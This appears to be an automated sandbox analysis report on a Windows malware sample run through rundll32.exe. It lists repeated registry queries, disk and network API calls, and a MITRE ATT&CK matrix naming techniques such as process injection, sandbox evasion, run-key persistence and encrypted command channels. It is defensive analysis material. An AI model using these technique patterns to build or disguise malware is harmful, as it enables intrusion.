Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100100A0 GetLocalTime,SystemTimeToFileTime,

6_2_100100A0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10006BF0 Sleep,GetVersionExA,CreateThread,sprintf,

6_2_10006BF0

Stealing of Sensitive Information

Queries disk data (e.g. SMART data)

Source: C:\Windows\SysWOW64\rundll32.exe

Device IO: \Device\Harddisk0\DR0

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100055E0 WSAStartup,socket,socket,socket,htons,htons,inet_addr,inet_addr,htons,inet_addr,bind,ioctlsocket,select,Sleep,wsprintfA,malloc,htons,htons,htons,htons,htons,htons,htons,inet_addr,closesocket,closesocket,closesocket,

6_2_100055E0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Bootkit	111 Process Injection	3 Obfuscated Files or Information	Security Account Manager	134 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Bootkit	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Rundll32	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

